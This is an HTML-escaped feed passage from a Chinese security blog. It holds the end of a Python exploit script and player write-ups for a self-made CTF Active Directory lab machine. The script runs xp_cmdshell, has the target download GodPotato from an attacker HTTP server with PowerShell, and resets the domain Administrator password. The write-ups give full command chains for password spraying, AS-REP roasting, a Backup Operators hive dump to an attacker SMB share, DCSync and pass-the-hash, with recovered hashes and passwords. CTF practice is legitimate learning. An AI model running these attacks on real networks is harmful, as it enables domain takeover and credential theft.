    sql = &amp;quot;exec (&amp;#39;exec master..xp_cmdshell &amp;#39;&amp;#39;%s&amp;#39;&amp;#39;&amp;#39;) at POO_PUBLIC&amp;quot; % command.replace(&amp;quot;&amp;#39;&amp;quot;, &amp;quot;&amp;#39;&amp;#39;&amp;quot;)
    mssql.sql_query(sql)
    return [row[&amp;quot;output&amp;quot;] for row in getattr(mssql, &amp;quot;rows&amp;quot;, []) if row.get(&amp;quot;output&amp;quot;) != &amp;quot;NULL&amp;quot;]


def verify_admin_shell() -&amp;gt; str:
    script = Path(sys.executable).parent / &amp;quot;Scripts&amp;quot; / &amp;quot;wmiexec.py&amp;quot;
    if not script.exists():
        script = Path(r&amp;quot;C:\Users\25478\AppData\Roaming\Python\Python314\Scripts\wmiexec.py&amp;quot;)
    cmd = [
        sys.executable,
        str(script),
        f&amp;quot;XMCVE/Administrator:{NEW_ADMIN_PASS}@{TARGET_IP}&amp;quot;,
        &amp;quot;whoami&amp;quot;,
    ]
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=120, check=True)
    return result.stdout


def main() -&amp;gt; int:
    base_dir = Path(__file__).resolve().parent
    godpotato = base_dir / &amp;quot;GodPotato-NET4.exe&amp;quot;
    if not godpotato.exists():
        raise FileNotFoundError(f&amp;quot;missing {godpotato}&amp;quot;)

    http_ctx = start_http_server(base_dir)
    try:
        mssql = sql_connect()
        try:
            steps = [
                (
                    &amp;quot;download GodPotato&amp;quot;,
                    f&amp;#39;powershell -nop -c &amp;quot;iwr -UseBasicParsing http://{HOST_HTTP_IP}:{HOST_HTTP_PORT}/{godpotato.name} &amp;#39;
                    f&amp;#39;-OutFile C:\\Windows\\Temp\\{godpotato.name}&amp;quot;&amp;#39;,
                ),
                (
                    &amp;quot;reset Administrator password via SYSTEM&amp;quot;,
                    f&amp;#39;C:\\Windows\\Temp\\{godpotato.name} -cmd &amp;quot;cmd /c net user Administrator {NEW_ADMIN_PASS} /domain&amp;quot;&amp;#39;,
                ),
                (&amp;quot;show Administrator account&amp;quot;, &amp;quot;net user Administrator /domain&amp;quot;),
            ]

            for title, command in steps:
                print(f&amp;quot;[+] {title}&amp;quot;)
                for line in exec_via_public(mssql, command):
                    print(line)
                print()
        finally:
            mssql.disconnect()

        print(&amp;quot;[+] verifying Administrator shell with wmiexec&amp;quot;)
        print(verify_admin_shell())
        return 0
    finally:
        http_ctx.close()


if __name__ == &amp;quot;__main__&amp;quot;:
    raise SystemExit(main())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本做的事情是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在宿主机开启临时 HTTP 服务。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;wuwupor / lovlyBaby&lt;/code&gt; 登录 MSSQL。&lt;/li&gt;
&lt;li&gt;通过 linked server &lt;code&gt;POO_PUBLIC&lt;/code&gt; 执行 &lt;code&gt;xp_cmdshell&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;向客机投递并运行 &lt;code&gt;GodPotato-NET4.exe&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;把 &lt;code&gt;Administrator&lt;/code&gt; 的域密码改成已知值。&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;wmiexec.py&lt;/code&gt; 验证 &lt;code&gt;Administrator&lt;/code&gt; shell。&lt;/li&gt;
&lt;/ol&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-documents/&quot;&gt;https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-documents/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate></item><item><title>PolarisCTF-BabyDC(Unexpected)</title><link>https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-unexpected/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/myself-machine/castlevania-unexpected/</guid><description>个人出题-选手WriteUp</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/ctf/poloarsctf.png&quot; alt=&quot;&quot;&gt;
&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Wh1teSu（域用户-弱口令）&lt;/strong&gt;&lt;/h1&gt;
&lt;h2&gt;结论&lt;/h2&gt;
&lt;p&gt;这题的核心利用链是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过 Kerberos 用户枚举拿到一批有效用户名&lt;/li&gt;
&lt;li&gt;用弱口令喷洒拿到低权限域用户&lt;/li&gt;
&lt;li&gt;用 BloodHound 数据确认 &lt;code&gt;mowen&lt;/code&gt; 开启 &lt;code&gt;Do not require Kerberos preauthentication&lt;/code&gt;，且属于 &lt;code&gt;Backup Operators&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;对 &lt;code&gt;mowen&lt;/code&gt; 做 AS-REP Roast，爆破出密码 &lt;code&gt;1maxwell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;结合 GitHub MCP 查到的 &lt;code&gt;backup_dc_registry&lt;/code&gt; 思路，利用 &lt;code&gt;reg.py backup&lt;/code&gt; 让域控把 &lt;code&gt;SAM/SYSTEM/SECURITY&lt;/code&gt; 直接备份到 Kali 的 SMB 共享&lt;/li&gt;
&lt;li&gt;从离线 hive 提取出域控机器账户 &lt;code&gt;CASTLEVANIA$&lt;/code&gt; 的 NTLM&lt;/li&gt;
&lt;li&gt;使用机器账户做 DCSync，拿到 &lt;code&gt;Administrator&lt;/code&gt; 哈希&lt;/li&gt;
&lt;li&gt;PTH 到目标主机，成功获得 &lt;code&gt;Administrator&lt;/code&gt; shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;题目要求是“拿到 Administrator 的 shell 即可”，到第 8 步已经满足。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;目标信息&lt;/h2&gt;
&lt;p&gt;已知开放端口如下：&lt;/p&gt;
&lt;p&gt;53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 1433, 3268, 3269, 9389&lt;/p&gt;
&lt;p&gt;进一步探测：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nmap -sV -sC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,9389 192.168.56.105
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Host: CASTLEVANIA.XMCVE.local&lt;/p&gt;
&lt;p&gt;Domain: XMCVE.local&lt;/p&gt;
&lt;p&gt;80/tcp: IIS 10&lt;/p&gt;
&lt;p&gt;1433/tcp: Microsoft SQL Server 2016&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;HTTP 首页只有一个维护页面：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CASTLEVANIA Portal&lt;/p&gt;
&lt;p&gt;Employee Portal&lt;/p&gt;
&lt;p&gt;Under maintenance...&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;说明真正入口大概率不在 Web，而是在 AD 身份面。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. 用户枚举与口令喷洒&lt;/h2&gt;
&lt;p&gt;先用 &lt;code&gt;kerbrute&lt;/code&gt; 跑一轮常见用户名：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;kerbrute userenum -d XMCVE.local --dc 192.168.56.105 /usr/share/seclists/Usernames/top-usernames-shortlist.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命中的有效用户包括：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;admin
sales
support
administrator
Admin
alucard
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着做一轮最常见弱口令喷洒：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;kerbrute passwordspray -d XMCVE.local --dc 192.168.56.105 valid_users.txt &amp;#39;Password123!&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命中结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;admin:Password123!
sales:Password123!
support:Password123!
Admin:Password123!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步只拿到了普通域账号，没有直接管理权限。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. BloodHound 找真正突破口&lt;/h2&gt;
&lt;p&gt;用已知凭据采集 BloodHound 数据：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;bloodhound-python -u admin -p &amp;#39;Password123!&amp;#39; -d XMCVE.local -dc CASTLEVANIA.XMCVE.local -ns 192.168.56.105 -c All --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在采集结果里，关键用户是 &lt;code&gt;MOWEN@XMCVE.LOCAL&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;已验证到的关键属性：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;dontreqpreauth: true
serviceprincipalnames: HTTP/CASTLEVANIA.XMCVE.local
member of: BACKUP OPERATORS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时还能看到：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;mailto:ALUCARD@XMCVE.LOCAL&quot;&gt;ALUCARD@XMCVE.LOCAL&lt;/a&gt; -&amp;gt; member of local Administrators&lt;/p&gt;
&lt;p&gt;但 &lt;code&gt;alucard&lt;/code&gt; 当前没有口令，暂时走不通。&lt;/p&gt;
&lt;p&gt;因此最优路径变成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先打 &lt;code&gt;mowen&lt;/code&gt; 的 AS-REP Roast&lt;/li&gt;
&lt;li&gt;再利用其 &lt;code&gt;Backup Operators&lt;/code&gt; 权限打域控&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. AS-REP Roast 拿下 mowen&lt;/h2&gt;
&lt;p&gt;因为 &lt;code&gt;mowen&lt;/code&gt; 开启了“不需要预认证”，可以直接请求 AS-REP：&lt;/p&gt;
&lt;p&gt;impacket-GetNPUsers XMCVE.local/mowen -dc-ip 192.168.56.105 -no-pass -request&lt;/p&gt;
&lt;p&gt;拿到哈希后用 John 爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;john mowen.asrep --wordlist=/usr/share/wordlists/rockyou.txt
john --show mowen.asrep
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;爆破结果：&lt;/p&gt;
&lt;p&gt;mowen:1maxwell&lt;/p&gt;
&lt;p&gt;至此得到可用凭据：&lt;/p&gt;
&lt;p&gt;XMCVE.local\mowen : 1maxwell&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. 用 mowen 做资产验证&lt;/h2&gt;
&lt;p&gt;先看 SMB 权限：&lt;/p&gt;
&lt;p&gt;nxc smb 192.168.56.105 -u mowen -p &amp;#39;1maxwell&amp;#39; -d XMCVE.local --shares&lt;/p&gt;
&lt;p&gt;已验证结果：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ADMIN$    READ
C$        READ,WRITE
IPC$      READ
NETLOGON  READ
SYSVOL    READ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但常规远程执行并不通：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;atexec.py ...
wmiexec.py ...
psexec.py ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果分别遇到：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;rpc_s_access_denied
ADMIN$/C$ not writable enough for service drop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明 &lt;code&gt;mowen&lt;/code&gt; 的价值不是直接执行，而是其 &lt;code&gt;Backup Operators&lt;/code&gt; 身份。&lt;/p&gt;
&lt;p&gt;顺手还从站点目录里发现了一个低价值 SQL 凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\inetpub\wwwroot\poo_connection.txt
server=localhost;
user=wuwupor;
password=lovlyBaby
database=master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证后发现 &lt;code&gt;wuwupor&lt;/code&gt; 只是低权限 SQL 登录：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SYSTEM_USER = wuwupor
IS_SRVROLEMEMBER(&amp;#39;sysadmin&amp;#39;) = 0
xp_cmdshell denied
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此 MSSQL 这条线是干扰项，不是正解。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. GitHub MCP 确认 Backup Operators 利用法&lt;/h2&gt;
&lt;p&gt;这里我没有凭记忆硬打，而是用 GitHub MCP 查公开实现。&lt;/p&gt;
&lt;p&gt;检索后定位到：&lt;/p&gt;
&lt;p&gt;horizon3ai/backup_dc_registry&lt;/p&gt;
&lt;p&gt;仓库 README 明确说明：&lt;/p&gt;
&lt;p&gt;abuses Backup Operator privileges to remote dump SAM, SYSTEM, and SECURITY hives&lt;/p&gt;
&lt;p&gt;其核心用法是：&lt;/p&gt;
&lt;p&gt;python3 reg.py user:pass@dc backup -p &amp;#39;\attacker\share&amp;#39;&lt;/p&gt;
&lt;p&gt;再对照本机 &lt;code&gt;reg.py -h&lt;/code&gt;，确认当前环境中的 Impacket 已内置 &lt;code&gt;backup&lt;/code&gt; 动作，且参数形式为：&lt;/p&gt;
&lt;p&gt;reg.py &amp;#39;domain/user:pass@target&amp;#39; backup -o &amp;#39;\attacker\share&amp;#39;&lt;/p&gt;
&lt;p&gt;这一步非常关键，因为之前如果把输出写成本地目录，命令会失败；正确思路是让目标机把 hive 备份到攻击机暴露的 UNC 路径。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. 让域控反向备份注册表 hive 到 Kali&lt;/h2&gt;
&lt;p&gt;先在 Kali 上起一个 SMB 接收共享：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;mkdir -p /tmp/regshare
smbserver.py -smb2support -ip 192.168.56.101 share /tmp/regshare
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我的 Kali 在目标网段的地址是：&lt;/p&gt;
&lt;p&gt;192.168.56.101&lt;/p&gt;
&lt;p&gt;然后直接执行备份：&lt;/p&gt;
&lt;p&gt;reg.py &amp;#39;XMCVE.local/mowen:&lt;a href=&quot;mailto:1maxwell@192.168.56.105&quot;&gt;1maxwell@192.168.56.105&lt;/a&gt;&amp;#39; -dc-ip 192.168.56.105 backup -o &amp;#39;\192.168.56.101\share&amp;#39;&lt;/p&gt;
&lt;p&gt;已验证输出：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \\192.168.56.101\share\SAM.save
[*] Saved HKLM\SYSTEM to \\192.168.56.101\share\SYSTEM.save
[*] Saved HKLM\SECURITY to \\192.168.56.101\share\SECURITY.save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;共享目录落地成功：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/tmp/regshare/SAM.save
/tmp/regshare/SYSTEM.save
/tmp/regshare/SECURITY.save
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;7. 离线提取机器账户哈希&lt;/h2&gt;
&lt;p&gt;对回传的 hive 做离线 secretsdump：&lt;/p&gt;
&lt;p&gt;secretsdump.py -sam /tmp/regshare/SAM.save -system /tmp/regshare/SYSTEM.save -security /tmp/regshare/SECURITY.save LOCAL&lt;/p&gt;
&lt;p&gt;关键结果有两个：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;本地 SAM 里的 &lt;code&gt;Administrator&lt;/code&gt; 哈希&lt;/li&gt;
&lt;li&gt;更重要的域控机器账户 &lt;code&gt;$MACHINE.ACC&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;提取结果中的核心值：&lt;/p&gt;
&lt;p&gt;$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:7ca8289eae8ab9490db2bfee75bc0d78&lt;/p&gt;
&lt;p&gt;因为目标本身是域控，机器账户 &lt;code&gt;CASTLEVANIA$&lt;/code&gt; 属于 &lt;code&gt;Domain Controllers&lt;/code&gt;，天然具备目录复制能力，所以这一步足够直接推进到 DCSync。&lt;/p&gt;
&lt;p&gt;先验证机器账户哈希可用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nxc smb 192.168.56.105 -u &amp;#39;CASTLEVANIA$&amp;#39; -H &amp;#39;7ca8289eae8ab9490db2bfee75bc0d78&amp;#39; -d XMCVE.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;p&gt;[+] XMCVE.local\CASTLEVANIA$:7ca8289eae8ab9490db2bfee75bc0d78&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. 用机器账户做 DCSync 拿 Administrator&lt;/h2&gt;
&lt;p&gt;接着直接用机器账户哈希做 DCSync：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;secretsdump.py -just-dc-user Administrator -hashes &amp;#39;:7ca8289eae8ab9490db2bfee75bc0d78&amp;#39; &amp;#39;XMCVE.local/CASTLEVANIA$@192.168.56.105&amp;#39; -dc-ip 192.168.56.105
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功回显：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此得到：&lt;/p&gt;
&lt;p&gt;XMCVE.local\Administrator NTLM = d94f9831271e229dbc6e712097b63168&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. PTH 获取 Administrator shell&lt;/h2&gt;
&lt;p&gt;最后直接 PTH：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;wmiexec.py -hashes &amp;#39;:d94f9831271e229dbc6e712097b63168&amp;#39; &amp;#39;XMCVE.local/Administrator@192.168.56.105&amp;#39; &amp;#39;whoami /all&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;已验证输出中的关键部分：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;User Name
xmcve\administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以及高权限组：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;XMCVE\Domain Admins
XMCVE\Enterprise Admins
XMCVE\Schema Admins
BUILTIN\Administrators
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明已经稳定取得 &lt;code&gt;Administrator&lt;/code&gt; shell，题目完成。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;最终利用链复盘&lt;/h2&gt;
&lt;p&gt;这题的设计点其实很明确：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;弱口令只是入口，不是终点&lt;/li&gt;
&lt;li&gt;真正核心是 BloodHound 给出的 &lt;code&gt;mowen -&amp;gt; Backup Operators + no preauth&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Backup Operators&lt;/code&gt; 在域控上非常危险，因为它能把注册表 hive 备份出来&lt;/li&gt;
&lt;li&gt;一旦拿到域控机器账户 hash，就能直接 DCSync&lt;/li&gt;
&lt;li&gt;DCSync 之后再 PTH 到 &lt;code&gt;Administrator&lt;/code&gt;，整条链就闭环了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最短路径可以概括成一句话：&lt;/p&gt;
&lt;p&gt;弱口令域用户 -&amp;gt; BloodHound 定位 mowen -&amp;gt; AS-REP Roast -&amp;gt; Backup Operators 远程导出 hive -&amp;gt; 机器账户 hash -&amp;gt; DCSync -&amp;gt; PTH Administrator&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;关键命令汇总&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;# 用户枚举
kerbrute userenum -d XMCVE.local --dc 192.168.56.105 users.txt

# 弱口令喷洒
kerbrute passwordspray -d XMCVE.local --dc 192.168.56.105 valid_users.txt &amp;#39;Password123!&amp;#39;

# BloodHound 采集
bloodhound-python -u admin -p &amp;#39;Password123!&amp;#39; -d XMCVE.local -dc CASTLEVANIA.XMCVE.local -ns 192.168.56.105 -c All --zip

# AS-REP Roast
impacket-GetNPUsers XMCVE.local/mowen -dc-ip 192.168.56.105 -no-pass -request
john mowen.asrep --wordlist=/usr/share/wordlists/rockyou.txt

# 起 SMB 接收共享
smbserver.py -smb2support -ip 192.168.56.101 share /tmp/regshare

# 远程导出 hive
reg.py &amp;#39;XMCVE.local/mowen:1maxwell@192.168.56.105&amp;#39; -dc-ip 192.168.56.105 backup -o &amp;#39;\\192.168.56.101\share&amp;#39;

# 离线提取
secretsdump.py -sam /tmp/regshare/SAM.save -system /tmp/regshare/SYSTEM.save -security /tmp/regshare/SECURITY.save LOCAL

# 机器账户 DCSync
secretsdump.py -just-dc-user Administrator -hashes &amp;#39;:7ca8289eae8ab9490db2bfee75bc0d78&amp;#39; &amp;#39;XMCVE.local/CASTLEVANIA$@192.168.56.105&amp;#39; -dc-ip 192.168.56.105

# PTH 验证 Administrator shell
wmiexec.py -hashes &amp;#39;:d94f9831271e229dbc6e712097b63168&amp;#39; &amp;#39;XMCVE.local/Administrator@192.168.56.105&amp;#39; &amp;#39;whoami /all&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Lkin（本地挂载）&lt;/h1&gt;
&lt;h2&gt;解题思路&lt;/h2&gt;
&lt;p&gt;通过离线挂载域控硬盘提取 AD 凭据，再利用 Pass-the-Hash 攻击直接以管理员身份登录靶机，最终获得 &lt;code&gt;nt authority\system&lt;/code&gt; 权限。&lt;/p&gt;
&lt;h2&gt;解题过程&lt;/h2&gt;
&lt;h3&gt;1. 挂载硬盘并提取 NTDS 数据库&lt;/h3&gt;
&lt;p&gt;将 Windows 域控的虚拟硬盘挂载到 Kali Linux，复制 AD 数据库文件：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; &lt;code&gt;ntds.dit&lt;/code&gt;：Active Directory 数据库，存储所有域用户的凭据 Hash  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SYSTEM&lt;/code&gt;：注册表 Hive，包含解密 ntds.dit 所需的 BootKey&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo cp /mnt/win/Windows/NTDS/ntds.dit ~/Desktop/
sudo cp /mnt/win/Windows/System32/config/SYSTEM ~/Desktop/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 离线提取域用户 Hash&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;impacket-secretsdump&lt;/code&gt; 离线解密 ntds.dit：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;关键发现：Administrator 与 Alucard 共享同一个 NT Hash，多个普通用户也共享同一个 Hash，说明存在弱密码策略。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo impacket-secretsdump -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM LOCAL
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;成功提取所有域用户的 NT Hash：   Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::   Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::   XMCVE.local\p2zhh:1104:::bc2bf43119e258bcecf71d44abc29db7:::   XMCVE.local\mowen:1105:::efb5fa49a38497a71e144f690860688e:::   XMCVE.local\sales/support/it/hr/admin:共享 hash 2b576acbe6bcfda7294d6bd18041b8fe   XMCVE.local\sqlsvc:1112:::d93ef04edb808c5bce3a5bd67b936ca9:::&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;h3&gt;3. 确定靶机 IP&lt;/h3&gt;
&lt;p&gt;将硬盘放回靶机，两台 VM 网络均改为桥接模式，启动后在 Kali 中扫描：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;发现靶机 IP：&lt;code&gt;192.168.81.124&lt;/code&gt;（MAC: 08:00:27:65:5F:89，VirtualBox NIC）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;nmap -sn 192.168.81.0/24&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;h3&gt;4. Pass-the-Hash 攻击&lt;/h3&gt;
&lt;p&gt;WinRM 端口（5985/5986）被防火墙过滤，改用 &lt;code&gt;impacket-psexec&lt;/code&gt; 进行 Pass-the-Hash：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pass-the-Hash 原理：Windows NTLM 认证使用 NT Hash 直接计算响应值，无需明文密码即可通过认证。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;impacket-psexec Administrator@192.168.81.124 \
  -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获得 Shell：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;5. 权限确认&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;whoami
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;攻击链&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;挂载硬盘 → 提取 NTDS → 获取 NT Hash → Pass-the-Hash → SYSTEM 权限
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最终权限&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;域控完全沦陷&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;本地&lt;/h3&gt;
&lt;p&gt;nt authority\system&lt;/p&gt;
&lt;h3&gt;域内&lt;/h3&gt;
&lt;p&gt;Domain Admins + Enterprise Admins + Schema Admins&lt;/p&gt;
&lt;h1&gt;NikoCat（Zerologon）&lt;/h1&gt;
&lt;h2&gt;端口扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[731ms]     已选择服务扫描模式
[731ms]     开始信息扫描
[731ms]     最终有效主机数量: 1
[731ms]     开始主机扫描
[731ms]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[737ms]     有效端口数量: 65535
[748ms] [*] 端口开放 192.168.56.101:389
[753ms] [*] 端口开放 192.168.56.101:139
[754ms] [*] 端口开放 192.168.56.101:593
[755ms] [*] 端口开放 192.168.56.101:80
[755ms] [*] 端口开放 192.168.56.101:445
[755ms] [*] 端口开放 192.168.56.101:88
[755ms] [*] 端口开放 192.168.56.101:53
[755ms] [*] 端口开放 192.168.56.101:135
[755ms] [*] 端口开放 192.168.56.101:464
[3.7s] [*] 端口开放 192.168.56.101:636
[6.8s] [*] 端口开放 192.168.56.101:1433
[15.8s] [*] 端口开放 192.168.56.101:3268
[15.8s] [*] 端口开放 192.168.56.101:3269
[45.8s] [*] 端口开放 192.168.56.101:9389
[4m6s] [*] 端口开放 192.168.56.101:49668
[4m6s] [*] 端口开放 192.168.56.101:49671
[4m6s] [*] 端口开放 192.168.56.101:49690
[4m6s] [*] 端口开放 192.168.56.101:49670
[5m6s] [*] 端口开放 192.168.56.101:61436
[5m30s]     扫描完成, 发现 19 个开放端口
[5m30s]     存活端口数量: 19
[5m30s]     开始漏洞扫描
[5m30s] [*] 网站标题 http://192.168.56.101     状态码:200 长度:157    标题:CASTLEVANIA Portal
[5m30s] [*] NetInfo 扫描结果
目标主机: 192.168.56.101
主机名: CASTLEVANIA
发现的网络接口:
   IPv4地址:
      └─ 192.168.56.101
[5m30s] [+] NetBios 192.168.56.101  DC:XMCVE\CASTLEVANIA
[5m30s]     POC加载完成: 总共387个，成功387个，失败0个
[5m31s]     扫描已完成: 13/13
